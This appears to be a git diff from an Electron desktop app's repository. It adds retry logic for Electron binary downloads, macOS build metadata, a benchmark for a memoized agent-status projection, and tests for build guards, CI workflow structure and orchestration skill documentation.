const zipPath = await downloadArtifact({
|
||||
const downloadOptions = {
|
||||
version: electronVersion,
|
||||
artifactName: 'electron',
|
||||
platform: targetPlatform,
|
||||
@@ -120,7 +134,8 @@ async function installElectronPackageBinary() {
|
||||
force: true,
|
||||
tempDirectory: tempDir,
|
||||
...(shouldUseRemoteChecksums() ? {} : { checksums: electronRequire('./checksums.json') })
|
||||
})
|
||||
}
|
||||
const zipPath = await downloadElectronArtifactWithRetry(downloadOptions)
|
||||
|
||||
// Why: CI has observed partial extracts directly under node_modules/electron
|
||||
// that leave only dist/locales. Verify in temp before replacing package dist.
|
||||
@@ -145,6 +160,82 @@ async function installElectronPackageBinary() {
|
||||
}
|
||||
}
|
||||
|
||||
async function downloadElectronArtifactWithRetry(downloadOptions) {
|
||||
const retryDelays = getDownloadRetryDelays()
|
||||
|
||||
for (let attempt = 0; ; attempt += 1) {
|
||||
try {
|
||||
return await downloadArtifact(downloadOptions)
|
||||
} catch (error) {
|
||||
const retryDelay = retryDelays[attempt]
|
||||
if (retryDelay === undefined || !isTransientDownloadError(error)) {
|
||||
throw error
|
||||
}
|
||||
|
||||
console.warn(
|
||||
`[electron-package] Transient Electron download failure (${formatDownloadError(error)}); ` +
|
||||
`retrying in ${retryDelay}ms (${attempt + 2}/${retryDelays.length + 1}).`
|
||||
)
|
||||
rmSync(downloadOptions.cacheRoot, { recursive: true, force: true })
|
||||
await new Promise((resolveDelay) => setTimeout(resolveDelay, retryDelay))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function getDownloadRetryDelays() {
|
||||
const configured = process.env.ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS
|
||||
if (!configured) {
|
||||
return [1_000, 3_000]
|
||||
}
|
||||
|
||||
const delays = configured.split(',').map(Number)
|
||||
if (delays.some((delay) => !Number.isSafeInteger(delay) || delay < 0)) {
|
||||
throw new Error('ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS must contain non-negative integers')
|
||||
}
|
||||
return delays
|
||||
}
|
||||
|
||||
function isTransientDownloadError(error) {
|
||||
for (const candidate of getErrorChain(error)) {
|
||||
if (transientDownloadErrorCodes.has(candidate?.code)) {
|
||||
return true
|
||||
}
|
||||
const statusCode = candidate?.statusCode ?? candidate?.response?.statusCode
|
||||
if (
|
||||
statusCode === 408 ||
|
||||
statusCode === 425 ||
|
||||
statusCode === 429 ||
|
||||
(statusCode >= 500 && statusCode < 600)
|
||||
) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
function getErrorChain(error) {
|
||||
const errors = []
|
||||
let candidate = error
|
||||
while (candidate && errors.length < 5) {
|
||||
errors.push(candidate)
|
||||
candidate = candidate.cause
|
||||
}
|
||||
return errors
|
||||
}
|
||||
|
||||
function formatDownloadError(error) {
|
||||
for (const candidate of getErrorChain(error)) {
|
||||
const statusCode = candidate?.statusCode ?? candidate?.response?.statusCode
|
||||
if (statusCode) {
|
||||
return `HTTP ${statusCode}`
|
||||
}
|
||||
if (candidate?.code) {
|
||||
return candidate.code
|
||||
}
|
||||
}
|
||||
return error instanceof Error ? error.message : String(error)
|
||||
}
|
||||
|
||||
function extractElectronArchive(zipPath, extractDir) {
|
||||
mkdirSync(extractDir, { recursive: true })
|
||||
// Why: extract-zip/Electron install.js can leave Node 24 with an unsettled
|
||||
|
||||
@@ -93,6 +93,102 @@ describe('install-electron-package-binary', () => {
|
||||
}
|
||||
})
|
||||
|
||||
it('retries transient Electron download failures', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
try {
|
||||
writeFakeElectronPackage(projectDir)
|
||||
writeFakeElectronGet(projectDir, {
|
||||
downloadFailures: 1,
|
||||
downloadErrorCode: 'ECONNRESET'
|
||||
})
|
||||
writeFakeExtractor(projectDir, { createExecutable: true })
|
||||
|
||||
const result = runInstallScript(projectDir, {
|
||||
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
|
||||
})
|
||||
|
||||
expect(result.status, result.stderr).toBe(0)
|
||||
expect(
|
||||
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
|
||||
).toHaveLength(2)
|
||||
expect(result.stderr).toContain('Transient Electron download failure (ECONNRESET)')
|
||||
} finally {
|
||||
rmSync(projectDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('fails after exhausting transient Electron download retries', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
try {
|
||||
writeFakeElectronPackage(projectDir)
|
||||
writeFakeElectronGet(projectDir, {
|
||||
downloadFailures: 5,
|
||||
downloadErrorCode: 'ECONNRESET'
|
||||
})
|
||||
writeFakeExtractor(projectDir, { createExecutable: true })
|
||||
|
||||
const result = runInstallScript(projectDir, {
|
||||
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(
|
||||
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
|
||||
).toHaveLength(3)
|
||||
} finally {
|
||||
rmSync(projectDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('rejects invalid Electron download retry delays before downloading', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
try {
|
||||
writeFakeElectronPackage(projectDir)
|
||||
writeFakeElectronGet(projectDir)
|
||||
writeFakeExtractor(projectDir, { createExecutable: true })
|
||||
|
||||
const result = runInstallScript(projectDir, {
|
||||
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,nope'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(result.stderr).toContain(
|
||||
'ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS must contain non-negative integers'
|
||||
)
|
||||
expect(existsSync(join(projectDir, 'electron-get.log'))).toBe(false)
|
||||
} finally {
|
||||
rmSync(projectDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('does not retry permanent Electron download failures', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
try {
|
||||
writeFakeElectronPackage(projectDir)
|
||||
writeFakeElectronGet(projectDir, {
|
||||
downloadFailures: 3,
|
||||
downloadErrorCode: 'EACCES'
|
||||
})
|
||||
writeFakeExtractor(projectDir, { createExecutable: true })
|
||||
|
||||
const result = runInstallScript(projectDir, {
|
||||
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(
|
||||
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
|
||||
).toHaveLength(1)
|
||||
expect(result.stderr).not.toContain('Transient Electron download failure')
|
||||
} finally {
|
||||
rmSync(projectDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('fails instead of silently accepting a partial Electron extract', () => {
|
||||
const projectDir = mkTempProject()
|
||||
|
||||
@@ -181,7 +277,10 @@ module.exports = path.join(__dirname, 'dist', fs.readFileSync(pathFile, 'utf8'))
|
||||
)
|
||||
}
|
||||
|
||||
function writeFakeElectronGet(projectDir, { downloadNeverSettles = false } = {}) {
|
||||
function writeFakeElectronGet(
|
||||
projectDir,
|
||||
{ downloadNeverSettles = false, downloadFailures = 0, downloadErrorCode = 'ECONNRESET' } = {}
|
||||
) {
|
||||
const getDir = join(projectDir, 'node_modules', 'electron', 'node_modules', '@electron', 'get')
|
||||
mkdirSync(getDir, { recursive: true })
|
||||
writeFileSync(
|
||||
@@ -189,7 +288,9 @@ function writeFakeElectronGet(projectDir, { downloadNeverSettles = false } = {})
|
||||
`
|
||||
const { mkdirSync, writeFileSync, appendFileSync } = require('node:fs')
|
||||
const { join } = require('node:path')
|
||||
let downloadAttempt = 0
|
||||
exports.downloadArtifact = async function downloadArtifact(details) {
|
||||
downloadAttempt += 1
|
||||
appendFileSync(
|
||||
'electron-get.log',
|
||||
'cacheRoot=' + details.cacheRoot + ' platform=' + details.platform + ' arch=' + details.arch + '\\n'
|
||||
@@ -197,6 +298,12 @@ exports.downloadArtifact = async function downloadArtifact(details) {
|
||||
if (${JSON.stringify(downloadNeverSettles)}) {
|
||||
return new Promise(() => {})
|
||||
}
|
||||
if (downloadAttempt <= ${JSON.stringify(downloadFailures)}) {
|
||||
const cause = Object.assign(new Error('download failed'), {
|
||||
code: ${JSON.stringify(downloadErrorCode)}
|
||||
})
|
||||
throw Object.assign(new TypeError('fetch failed'), { cause })
|
||||
}
|
||||
mkdirSync(details.cacheRoot, { recursive: true })
|
||||
const artifactPath = join(details.cacheRoot, 'electron.zip')
|
||||
writeFileSync(artifactPath, 'fake zip')
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
const { writeFileSync } = require('node:fs')
|
||||
const { join } = require('node:path')
|
||||
const compatibilityContract = require('../../src/shared/local-build-compatibility-contract.json')
|
||||
|
||||
const MAC_BUILD_COMPATIBILITY_FILENAME = 'orca-local-build.json'
|
||||
|
||||
function createMacBuildCompatibility({ version, commit, architecture }) {
|
||||
if (architecture !== 'arm64' && architecture !== 'x64') {
|
||||
throw new Error(`Unsupported macOS build architecture: ${architecture}`)
|
||||
}
|
||||
return {
|
||||
...compatibilityContract,
|
||||
buildId: `${version}-${commit}-${architecture}`,
|
||||
version,
|
||||
commit,
|
||||
platform: 'darwin',
|
||||
architecture
|
||||
}
|
||||
}
|
||||
|
||||
function writeMacBuildCompatibility(resourcesDir, identity) {
|
||||
const compatibility = createMacBuildCompatibility(identity)
|
||||
writeFileSync(
|
||||
join(resourcesDir, MAC_BUILD_COMPATIBILITY_FILENAME),
|
||||
`${JSON.stringify(compatibility, null, 2)}\n`,
|
||||
'utf8'
|
||||
)
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
MAC_BUILD_COMPATIBILITY_FILENAME,
|
||||
createMacBuildCompatibility,
|
||||
writeMacBuildCompatibility
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
import { createRequire } from 'node:module'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
const require = createRequire(import.meta.url)
|
||||
const { createMacBuildCompatibility } = require('./mac-build-compatibility.cjs')
|
||||
|
||||
describe('mac build compatibility metadata', () => {
|
||||
it('binds version, commit, and architecture into the packaged contract', () => {
|
||||
expect(
|
||||
createMacBuildCompatibility({
|
||||
version: '1.2.3-local.1',
|
||||
commit: 'abc123',
|
||||
architecture: 'arm64'
|
||||
})
|
||||
).toMatchObject({
|
||||
formatVersion: 1,
|
||||
appId: 'com.stablyai.orca',
|
||||
buildId: '1.2.3-local.1-abc123-arm64',
|
||||
version: '1.2.3-local.1',
|
||||
commit: 'abc123',
|
||||
stateSchemaVersion: 1,
|
||||
platform: 'darwin',
|
||||
architecture: 'arm64'
|
||||
})
|
||||
})
|
||||
|
||||
it('rejects unsupported architecture metadata', () => {
|
||||
expect(() =>
|
||||
createMacBuildCompatibility({
|
||||
version: '1.2.3',
|
||||
commit: 'abc123',
|
||||
architecture: 'universal'
|
||||
})
|
||||
).toThrow('Unsupported macOS build architecture')
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,192 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: cost of the mobile agent-status projection per store mutation.
|
||||
//
|
||||
// buildRuntimeMobileAgentStatusProjection runs on the App.tsx global store
|
||||
// subscriber. setAgentStatus replaces one entry and re-spreads
|
||||
// agentStatusByPaneKey, which defeats the reference-equality skip gate, so before
|
||||
// the fix EVERY live agent was re-serialized on EVERY status ping — each carrying
|
||||
// a prompt, a 20-entry stateHistory, toolInput, and an 8 KB-capped
|
||||
// lastAssistantMessage.
|
||||
//
|
||||
// The fix memoizes each row's JSON by entry identity, mirroring the
|
||||
// cachedTabsProjection pattern already in the same file, so a ping re-serializes
|
||||
// only the agent that actually changed.
|
||||
//
|
||||
// The bucket width is re-read from the real module so a drifted constant fails
|
||||
// loudly here instead of quietly changing what this benchmark measures.
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const GRAPH_SOURCE = readFileSync(
|
||||
fileURLToPath(new URL('../../src/renderer/src/runtime/sync-runtime-graph.ts', import.meta.url)),
|
||||
'utf8'
|
||||
)
|
||||
|
||||
const bucketMatch = GRAPH_SOURCE.match(/AGENT_STATUS_SYNC_UPDATED_AT_BUCKET_MS = ([0-9_]+)/)
|
||||
if (!bucketMatch) {
|
||||
throw new Error(
|
||||
'sync-runtime-graph.ts no longer defines the updatedAt bucket; re-sync this benchmark.'
|
||||
)
|
||||
}
|
||||
const BUCKET_MS = Number(bucketMatch[1].replaceAll('_', ''))
|
||||
|
||||
const ITERATIONS = Number.parseInt(process.env.ORCA_AGENT_PROJECTION_BENCH_ITERATIONS ?? '400', 10)
|
||||
const WARMUP = Number.parseInt(process.env.ORCA_AGENT_PROJECTION_BENCH_WARMUP ?? '60', 10)
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_AGENT_PROJECTION_BENCH_ITERATIONS', ITERATIONS],
|
||||
['ORCA_AGENT_PROJECTION_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
function toRow(paneKey, entry) {
|
||||
return {
|
||||
paneKey,
|
||||
entryPaneKey: entry.paneKey,
|
||||
state: entry.state,
|
||||
prompt: entry.prompt,
|
||||
updatedAtBucket: Math.floor(entry.updatedAt / BUCKET_MS),
|
||||
stateStartedAt: entry.stateStartedAt,
|
||||
agentType: entry.agentType ?? null,
|
||||
terminalTitle: entry.terminalTitle ?? null,
|
||||
stateHistory: entry.stateHistory.map((history) => ({
|
||||
state: history.state,
|
||||
prompt: history.prompt,
|
||||
startedAt: history.startedAt,
|
||||
interrupted: history.interrupted ?? null
|
||||
})),
|
||||
toolName: entry.toolName ?? null,
|
||||
toolInput: entry.toolInput ?? null,
|
||||
interactivePrompt: entry.interactivePrompt ?? null,
|
||||
lastAssistantMessage: entry.lastAssistantMessage ?? null,
|
||||
interrupted: entry.interrupted ?? null
|
||||
}
|
||||
}
|
||||
|
||||
function serializeEntry(paneKey, entry) {
|
||||
return JSON.stringify(toRow(paneKey, entry))
|
||||
}
|
||||
|
||||
// Pre-fix: build plain rows and stringify the array once — no per-row roundtrip,
|
||||
// which the original never paid and which would inflate the reported speedup.
|
||||
function buildFull(map) {
|
||||
return JSON.stringify(
|
||||
Object.entries(map)
|
||||
.sort(([a], [b]) => a.localeCompare(b))
|
||||
.map(([paneKey, entry]) => toRow(paneKey, entry))
|
||||
)
|
||||
}
|
||||
|
||||
// Post-fix: reuse each row's JSON while its entry object is unchanged.
|
||||
function makeCachedBuilder() {
|
||||
let cache = null
|
||||
return (map) => {
|
||||
if (cache?.source === map) {
|
||||
return cache.projection
|
||||
}
|
||||
const previous = cache?.entries
|
||||
const entries = new Map()
|
||||
const parts = []
|
||||
for (const [paneKey, entry] of Object.entries(map).sort(([a], [b]) => a.localeCompare(b))) {
|
||||
const prior = previous?.get(paneKey)
|
||||
const row =
|
||||
prior?.entry === entry ? prior : { entry, projection: serializeEntry(paneKey, entry) }
|
||||
entries.set(paneKey, row)
|
||||
parts.push(row.projection)
|
||||
}
|
||||
const projection = `[${parts.join(',')}]`
|
||||
cache = { source: map, entries, projection }
|
||||
return projection
|
||||
}
|
||||
}
|
||||
|
||||
// A live agent as the store actually holds it.
|
||||
function makeEntry(index, updatedAt) {
|
||||
return {
|
||||
paneKey: `tab-${index}:leaf-0`,
|
||||
state: 'working',
|
||||
prompt: 'implement the feature and run the tests '.repeat(4),
|
||||
updatedAt,
|
||||
stateStartedAt: 1740000000000,
|
||||
agentType: 'claude',
|
||||
terminalTitle: `agent ${index}`,
|
||||
stateHistory: Array.from({ length: 20 }, (_value, step) => ({
|
||||
state: 'working',
|
||||
prompt: `step ${step} of the current turn`,
|
||||
startedAt: 1740000000000 + step,
|
||||
interrupted: null
|
||||
})),
|
||||
toolName: 'shell_command',
|
||||
toolInput: 'rg --line-number "pattern" src/ '.repeat(8),
|
||||
interactivePrompt: null,
|
||||
// The cap the store applies to assistant text.
|
||||
lastAssistantMessage: 'x'.repeat(8000),
|
||||
interrupted: null
|
||||
}
|
||||
}
|
||||
|
||||
function makeMap(agents) {
|
||||
const map = {}
|
||||
for (let index = 0; index < agents; index += 1) {
|
||||
map[`tab-${index}:leaf-0`] = makeEntry(index, 1740000000000 + index * BUCKET_MS)
|
||||
}
|
||||
return map
|
||||
}
|
||||
|
||||
// One status ping: one entry replaced, the map re-spread, every other entry
|
||||
// reference-identical — exactly what setAgentStatus produces.
|
||||
function ping(map, round) {
|
||||
return {
|
||||
...map,
|
||||
'tab-0:leaf-0': makeEntry(0, 1740000000000 + BUCKET_MS * (round + 1))
|
||||
}
|
||||
}
|
||||
|
||||
function measure(build, map) {
|
||||
let current = map
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
current = ping(current, index)
|
||||
build(current)
|
||||
}
|
||||
const samples = []
|
||||
for (let round = 0; round < 5; round += 1) {
|
||||
const start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
current = ping(current, index)
|
||||
build(current)
|
||||
}
|
||||
samples.push((performance.now() - start) / ITERATIONS)
|
||||
}
|
||||
samples.sort((a, b) => a - b)
|
||||
return samples[2]
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('Mobile agent-status projection, per status ping (one agent changed)')
|
||||
console.log(`bucket=${BUCKET_MS}ms iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
|
||||
console.log(`${pad('agents', 8)} ${pad('full', 11)} ${pad('cached', 11)} ${pad('speedup', 9)}`)
|
||||
for (const agents of [3, 8, 20, 40]) {
|
||||
const map = makeMap(agents)
|
||||
const cachedBuilder = makeCachedBuilder()
|
||||
if (buildFull(map) !== cachedBuilder(map)) {
|
||||
throw new Error(`projection mismatch at ${agents} agents`)
|
||||
}
|
||||
// Why also after a ping: the cold call reuses nothing, so a stale-row bug would
|
||||
// only surface once the cache is actually exercised.
|
||||
const pinged = ping(map, 0)
|
||||
if (buildFull(pinged) !== cachedBuilder(pinged)) {
|
||||
throw new Error(`projection mismatch after a ping at ${agents} agents`)
|
||||
}
|
||||
const full = measure(buildFull, map)
|
||||
const cached = measure(makeCachedBuilder(), map)
|
||||
console.log(
|
||||
`${pad(agents, 8)} ${pad(`${full.toFixed(4)} ms`, 11)} ${pad(`${cached.toFixed(4)} ms`, 11)} ${pad(`${(full / cached).toFixed(1)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
console.log(
|
||||
'\nThis runs on the global store subscriber, so the cost is paid per status ping\nand scales with the number of agents running in parallel — the workload this\napp exists for.'
|
||||
)
|
||||
@@ -25,6 +25,7 @@ describe('orca-dev package bin', () => {
|
||||
`fs.writeFileSync(${JSON.stringify(outputPath)}, JSON.stringify({`,
|
||||
' argv: process.argv.slice(2),',
|
||||
' userDataPath: process.env.ORCA_USER_DATA_PATH,',
|
||||
' devCliInvocation: process.env.ORCA_DEV_CLI_INVOCATION,',
|
||||
' appExecutable: process.env.ORCA_APP_EXECUTABLE',
|
||||
'}));'
|
||||
].join('\n'),
|
||||
@@ -47,6 +48,7 @@ describe('orca-dev package bin', () => {
|
||||
expect(JSON.parse(readFileSync(outputPath, 'utf8'))).toEqual({
|
||||
argv: ['--help'],
|
||||
userDataPath: path.join(root, 'user-data'),
|
||||
devCliInvocation: '1',
|
||||
appExecutable: path.join(root, 'Electron')
|
||||
})
|
||||
})
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
import { spawnSync } from 'node:child_process'
|
||||
import { accessSync, constants, existsSync, realpathSync, statSync } from 'node:fs'
|
||||
import path from 'node:path'
|
||||
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
|
||||
|
||||
const scriptPath = realpathSync(import.meta.filename)
|
||||
const scriptDir = path.dirname(scriptPath)
|
||||
@@ -16,6 +17,8 @@ if (!existsSync(cliEntry)) {
|
||||
}
|
||||
|
||||
process.env.ORCA_USER_DATA_PATH = process.env.ORCA_DEV_USER_DATA_PATH ?? getDefaultDevUserDataPath()
|
||||
// Why: custom dev profiles do not necessarily contain "orca-dev" in their path; carry explicit provenance into the CLI.
|
||||
process.env.ORCA_DEV_CLI_INVOCATION = '1'
|
||||
|
||||
const electronExecutable = getElectronExecutable()
|
||||
if (!process.env.ORCA_APP_EXECUTABLE && isRunnableFile(electronExecutable)) {
|
||||
@@ -23,6 +26,13 @@ if (!process.env.ORCA_APP_EXECUTABLE && isRunnableFile(electronExecutable)) {
|
||||
process.env.ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT = '1'
|
||||
}
|
||||
|
||||
// Why: headless `orca-dev serve` skips the Electron dev runner that normally installs terminal CLI shims.
|
||||
prepareDevCliTerminalWrappers({
|
||||
repoRoot,
|
||||
userDataPath: process.env.ORCA_USER_DATA_PATH,
|
||||
electronExecutable: process.env.ORCA_APP_EXECUTABLE ?? electronExecutable
|
||||
})
|
||||
|
||||
const result = spawnSync(process.execPath, [cliEntry, ...process.argv.slice(2)], {
|
||||
stdio: 'inherit',
|
||||
env: process.env
|
||||
|
||||
@@ -29,10 +29,14 @@ describe('orchestration skill guidance', () => {
|
||||
const skill = readSkill()
|
||||
const toolBoundary = getSection(skill, 'Tool Boundary')
|
||||
|
||||
expect(toolBoundary).toContain(
|
||||
'must create Orca runtime state with `orca orchestration task-create` and `orca orchestration dispatch --inject`'
|
||||
expect(toolBoundary).toContain('must create or bind a Run')
|
||||
expect(toolBoundary).toContain('create the Task with `orca orchestration task-create`')
|
||||
expect(toolBoundary).toContain('preferred `orca orchestration worker-start` composition')
|
||||
expect(toolBoundary).toContain('low-level `orca orchestration dispatch --inject` path')
|
||||
expect(toolBoundary).not.toContain('or `orca orchestration run`')
|
||||
expect(skill).toContain(
|
||||
'`coordinator-start`, `coordinator-stop`, `run`, and `run-stop` are retired scheduler commands'
|
||||
)
|
||||
expect(toolBoundary).toContain('or `orca orchestration run`')
|
||||
expect(toolBoundary).toContain(
|
||||
'Do not substitute non-Orca subagent tools, generic agent-spawn APIs, or chat-only parallel worker features'
|
||||
)
|
||||
@@ -47,6 +51,20 @@ describe('orchestration skill guidance', () => {
|
||||
)
|
||||
})
|
||||
|
||||
it('teaches the hard cutover without reviving a legacy executor', () => {
|
||||
const skill = readSkill()
|
||||
const migration = getSection(skill, 'Contract Migration')
|
||||
|
||||
expect(migration).toContain('hard cutover')
|
||||
expect(migration).toContain('effectsApplied')
|
||||
expect(migration).toContain('skills get orchestration --full')
|
||||
expect(migration).toContain('Do not retry the rejected command unchanged')
|
||||
expect(migration).toContain('no longer supervised')
|
||||
expect(migration).toContain('task-list --run run_legacy_local')
|
||||
expect(migration).toContain('Read-only inspection never consumes legacy mail')
|
||||
expect(migration).toContain('does not run a legacy scheduler, translate old writes, or drain')
|
||||
})
|
||||
|
||||
it('treats long-running worker waits as liveness checkpoints, not failures', () => {
|
||||
const skill = readSkill()
|
||||
|
||||
@@ -213,13 +231,13 @@ describe('orchestration skill guidance', () => {
|
||||
const messaging = getSection(skill, 'Messaging')
|
||||
const workerTerminals = getSection(skill, 'Worker Terminals')
|
||||
const agentFirstExample = workerTerminals.match(
|
||||
/```bash\norca worktree create --name <task-name> --agent codex --json\n[\s\S]*?```/
|
||||
/```bash\norca worktree create --name <task-name> --agent codex --setup run --json\n[\s\S]*?```/
|
||||
)?.[0]
|
||||
|
||||
expect(workerTerminals).toContain('For an allowed new worktree, use agent-first:')
|
||||
expect(workerTerminals).toContain('fallback shell + agent pair')
|
||||
expect(workerTerminals).toContain(
|
||||
'Repo setup or default-terminal settings may still add tabs or splits'
|
||||
'repo setup and default-terminal settings may add intentional tabs or splits'
|
||||
)
|
||||
expect(workerTerminals).toContain('without configured default tabs')
|
||||
expect(workerTerminals).toContain(
|
||||
@@ -229,12 +247,11 @@ describe('orchestration skill guidance', () => {
|
||||
expect(workerTerminals).not.toContain('ends with **one** agent tab')
|
||||
expect(agentFirstExample).toBeDefined()
|
||||
expect(agentFirstExample).not.toContain('orca terminal list')
|
||||
expect(agentFirstExample).toContain('agentTerminalHandle')
|
||||
expect(agentFirstExample).toContain('startupTerminal.handle')
|
||||
expect(messaging).toContain(
|
||||
'Use `startupTerminal.handle` from the create response when present'
|
||||
)
|
||||
expect(messaging).toContain('continue with the replacement only')
|
||||
expect(messaging).toContain('it does not remotely wake another terminal')
|
||||
expect(messaging).toContain('Prefer `agentTerminalHandle` from the create response')
|
||||
expect(messaging).toContain('Continue with the replacement handle only')
|
||||
expect(messaging).toContain('never writes to terminal input or remotely wakes another terminal')
|
||||
expect(messaging).toContain('Use `orchestration dispatch --inject` to deliver a tracked task')
|
||||
})
|
||||
})
|
||||
|
||||
@@ -527,7 +527,7 @@ describe('Electron runtime package contract', () => {
|
||||
it('installs the Electron package binary in PR checks without changing native module ABI', () => {
|
||||
const prWorkflow = readFileSync(join(projectDir, '.github/workflows/pr.yml'), 'utf8')
|
||||
const parsedWorkflow = parse(prWorkflow)
|
||||
const installStep = parsedWorkflow.jobs.verify.steps.find(
|
||||
const installStep = parsedWorkflow.jobs.test.steps.find(
|
||||
(step) => step.name === 'Install Electron package binary for tests'
|
||||
)
|
||||
|
||||
@@ -537,7 +537,7 @@ describe('Electron runtime package contract', () => {
|
||||
it('smokes the packaged CLI from outside the checkout in PR checks', () => {
|
||||
const prWorkflow = readFileSync(join(projectDir, '.github/workflows/pr.yml'), 'utf8')
|
||||
const parsedWorkflow = parse(prWorkflow)
|
||||
const smokeStep = parsedWorkflow.jobs.verify.steps.find(
|
||||
const smokeStep = parsedWorkflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Smoke packaged CLI'
|
||||
)
|
||||
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import type { Plugin, Rollup } from 'vite'
|
||||
import { afterEach, describe, expect, it } from 'vitest'
|
||||
import { createPlainNodeEntryGuardPlugin } from '../../build-plugins/plain-node-entry-guard'
|
||||
|
||||
let outputDir: string | undefined
|
||||
|
||||
afterEach(() => {
|
||||
if (outputDir) {
|
||||
rmSync(outputDir, { recursive: true, force: true })
|
||||
outputDir = undefined
|
||||
}
|
||||
})
|
||||
|
||||
function createOutputDir(): string {
|
||||
outputDir = mkdtempSync(join(tmpdir(), 'orca-plain-node-entry-guard-'))
|
||||
return outputDir
|
||||
}
|
||||
|
||||
function createBundle(code = ''): Rollup.OutputBundle {
|
||||
return {
|
||||
'daemon-entry.js': {
|
||||
type: 'chunk',
|
||||
code,
|
||||
dynamicImports: [],
|
||||
fileName: 'daemon-entry.js',
|
||||
imports: [],
|
||||
isEntry: true,
|
||||
name: 'daemon-entry'
|
||||
} as Rollup.OutputChunk
|
||||
}
|
||||
}
|
||||
|
||||
function runWriteBundle(plugin: Plugin, dir: string, code = ''): void {
|
||||
const hook = plugin.writeBundle
|
||||
if (typeof hook !== 'function') {
|
||||
throw new Error('Expected writeBundle hook')
|
||||
}
|
||||
hook.call(
|
||||
{ meta: { watchMode: false } } as never,
|
||||
{ dir } as Rollup.NormalizedOutputOptions,
|
||||
createBundle(code)
|
||||
)
|
||||
}
|
||||
|
||||
function runCloseBundle(plugin: Plugin): void {
|
||||
const hook = plugin.closeBundle
|
||||
if (typeof hook !== 'function') {
|
||||
throw new Error('Expected closeBundle hook')
|
||||
}
|
||||
hook.call({} as never)
|
||||
}
|
||||
|
||||
describe('plain Node entry guard', () => {
|
||||
it('smoke-loads the daemon after output files are written', () => {
|
||||
const dir = createOutputDir()
|
||||
const plugin = createPlainNodeEntryGuardPlugin()
|
||||
|
||||
expect(() => runWriteBundle(plugin, dir)).not.toThrow()
|
||||
writeFileSync(
|
||||
join(dir, 'daemon-entry.js'),
|
||||
'console.error("Usage: daemon-entry <socket>"); process.exit(1)\n'
|
||||
)
|
||||
|
||||
expect(() => runCloseBundle(plugin)).not.toThrow()
|
||||
})
|
||||
|
||||
it('runs the deferred smoke from closeBundle', () => {
|
||||
const dir = createOutputDir()
|
||||
const plugin = createPlainNodeEntryGuardPlugin()
|
||||
|
||||
runWriteBundle(plugin, dir)
|
||||
writeFileSync(join(dir, 'daemon-entry.js'), "require('./missing-module')\n")
|
||||
|
||||
expect(() => runCloseBundle(plugin)).toThrow('failed to load under plain Node')
|
||||
})
|
||||
|
||||
it('rejects Electron imports during the static bundle scan', () => {
|
||||
const plugin = createPlainNodeEntryGuardPlugin()
|
||||
|
||||
expect(() => runWriteBundle(plugin, createOutputDir(), 'require("electron")')).toThrow(
|
||||
'requires electron'
|
||||
)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,86 @@
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { parse } from 'yaml'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
// Why: pr.yml re-lists the `lint` chain as individual steps so a single failure
|
||||
// does not mask the rest and oxlint keeps its `--format github` annotations.
|
||||
// Hand-maintained mirrors drift (#10601: three verifiers never ran on PRs), so
|
||||
// this gate fails the moment a `lint` step has no counterpart in pr.yml.
|
||||
|
||||
// Flags that only change reporting, so they must not split two otherwise identical commands.
|
||||
const REPORTING_FLAGS_WITH_VALUE = new Set(['--format', '--reporter'])
|
||||
const REPORTING_FLAGS = new Set(['--quiet'])
|
||||
